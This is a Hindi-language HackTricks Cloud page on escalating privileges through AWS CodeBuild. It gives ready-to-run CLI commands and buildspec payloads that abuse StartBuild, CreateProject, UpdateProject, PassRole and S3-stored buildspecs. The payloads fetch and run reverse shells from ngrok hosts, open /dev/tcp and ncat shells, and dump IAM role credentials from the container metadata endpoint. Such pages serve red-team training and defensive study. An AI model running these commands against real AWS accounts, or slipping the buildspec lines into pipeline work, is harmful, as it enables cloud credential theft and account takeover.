AWS - Codebuild Privesc
Reading time: 10 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
codebuild
अधिक जानकारी प्राप्त करें:
codebuild:StartBuild
| codebuild:StartBuildBatch
इनमें से किसी एक अनुमति के साथ, एक नए buildspec के साथ एक निर्माण को ट्रिगर करना और परियोजना को सौंपे गए iam भूमिका का टोकन चुराना पर्याप्त है:
cat > /tmp/buildspec.yml <<EOF
version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF
aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml
नोट: इन दोनों कमांड के बीच का अंतर यह है:
StartBuild
एक विशिष्टbuildspec.yml
का उपयोग करके एकल निर्माण कार्य को ट्रिगर करता है।StartBuildBatch
आपको अधिक जटिल कॉन्फ़िगरेशन के साथ निर्माण के बैच को शुरू करने की अनुमति देता है (जैसे कई निर्माणों को समानांतर में चलाना)।
संभावित प्रभाव: जुड़े हुए AWS Codebuild भूमिकाओं के लिए सीधे विशेषाधिकार वृद्धि।
iam:PassRole
, codebuild:CreateProject
, (codebuild:StartBuild
| codebuild:StartBuildBatch
)
एक हमलावर जिसके पास iam:PassRole
, codebuild:CreateProject
, और codebuild:StartBuild
या codebuild:StartBuildBatch
अनुमतियाँ हैं, वह किसी भी codebuild IAM भूमिका के लिए विशेषाधिकार बढ़ा सकता है एक चल रही भूमिका बनाकर।
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
REV_PATH="/tmp/rev.json"
printf "$JSON" > $REV_PATH
# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
# Build it
aws codebuild start-build --project-name codebuild-demo-project
# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output
# Delete the project
aws codebuild delete-project --name codebuild-demo-project
संभावित प्रभाव: किसी भी AWS Codebuild भूमिका के लिए सीधे प्रिवेस्क।
warning
एक Codebuild कंटेनर में फ़ाइल /codebuild/output/tmp/env.sh
सभी env vars को शामिल करती है जो मेटाडेटा क्रेडेंशियल्स तक पहुँचने के लिए आवश्यक हैं।
इस फ़ाइल में env वेरिएबल
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
शामिल है जो क्रेडेंशियल्स तक पहुँचने के लिए URL पथ को शामिल करता है। यह कुछ इस तरह होगा/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420
इसे URL
http://169.254.170.2/
में जोड़ें और आप भूमिका के क्रेडेंशियल्स को डंप करने में सक्षम होंगे।
इसके अलावा, इसमें env वेरिएबल
ECS_CONTAINER_METADATA_URI
भी शामिल है जो कंटेनर के बारे में मेटाडेटा जानकारी प्राप्त करने के लिए पूर्ण URL को शामिल करता है।
iam:PassRole
, codebuild:UpdateProject
, (codebuild:StartBuild
| codebuild:StartBuildBatch
)
जैसे पिछले अनुभाग में, यदि आप एक निर्माण परियोजना बनाने के बजाय इसे संशोधित कर सकते हैं, तो आप IAM भूमिका को निर्दिष्ट कर सकते हैं और टोकन चुरा सकते हैं।
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
printf "$JSON" > $REV_PATH
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
संभावित प्रभाव: किसी भी AWS Codebuild भूमिका के लिए सीधे प्रिवेस्क।
codebuild:UpdateProject
, (codebuild:StartBuild
| codebuild:StartBuildBatch
)
पिछले अनुभाग की तरह लेकिन iam:PassRole
अनुमति के बिना, आप इस अनुमति का दुरुपयोग करके मौजूदा Codebuild परियोजनाओं को संशोधित कर सकते हैं और उस भूमिका तक पहुंच प्राप्त कर सकते हैं जो पहले से ही असाइन की गई है।
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"
# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!
printf "$JSON" > $REV_PATH
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
संभावित प्रभाव: जुड़े हुए AWS Codebuild भूमिकाओं के लिए सीधे प्रिवेस्क।
SSM
SSM सत्र शुरू करने के लिए पर्याप्त अनुमतियाँ होने पर यह संभव है कि एक Codebuild प्रोजेक्ट में प्रवेश किया जा सके जो बनाया जा रहा है।
Codebuild प्रोजेक्ट में एक ब्रेकपॉइंट होना चाहिए:
phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
- codebuild-breakpoint
और फिर:
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
For more info check the docs.
(codebuild:StartBuild
| codebuild:StartBuildBatch
), s3:GetObject
, s3:PutObject
एक हमलावर जो एक विशेष CodeBuild प्रोजेक्ट का निर्माण शुरू/पुनः प्रारंभ करने में सक्षम है, जो अपना buildspec.yml
फ़ाइल एक S3 बकेट पर संग्रहीत करता है, जिस पर हमलावर को लिखने की अनुमति है, CodeBuild प्रक्रिया में कमांड निष्पादन प्राप्त कर सकता है।
Note: यह वृद्धि केवल तभी प्रासंगिक है जब CodeBuild कार्यकर्ता की भूमिका हमलावर की भूमिका से अलग हो, उम्मीद है कि अधिक विशेषाधिकार प्राप्त हो।
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
vim ./buildspec.yml
# Add the following lines in the "phases > pre_builds > commands" section
#
# - apt-get install nmap -y
# - ncat <IP> <PORT> -e /bin/sh
aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml
aws codebuild start-build --project-name <project-name>
# Wait for the reverse shell :)
आप reverse shell प्राप्त करने के लिए ऐसा कुछ buildspec का उपयोग कर सकते हैं:
version: 0.2
phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
प्रभाव: AWS CodeBuild कार्यकर्ता द्वारा उपयोग की जाने वाली भूमिका में सीधे प्रिवेलेज वृद्धि, जो आमतौर पर उच्च प्रिविलेज रखती है।
warning
ध्यान दें कि buildspec को ज़िप प्रारूप में अपेक्षित किया जा सकता है, इसलिए एक हमलावर को डाउनलोड, अनज़िप, रूट निर्देशिका से buildspec.yml
को संशोधित करना, फिर से ज़िप करना और अपलोड करना होगा।
अधिक विवरण यहाँ मिल सकते हैं।
संभावित प्रभाव: संलग्न AWS Codebuild भूमिकाओं में सीधे प्रिवेलेज वृद्धि।
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।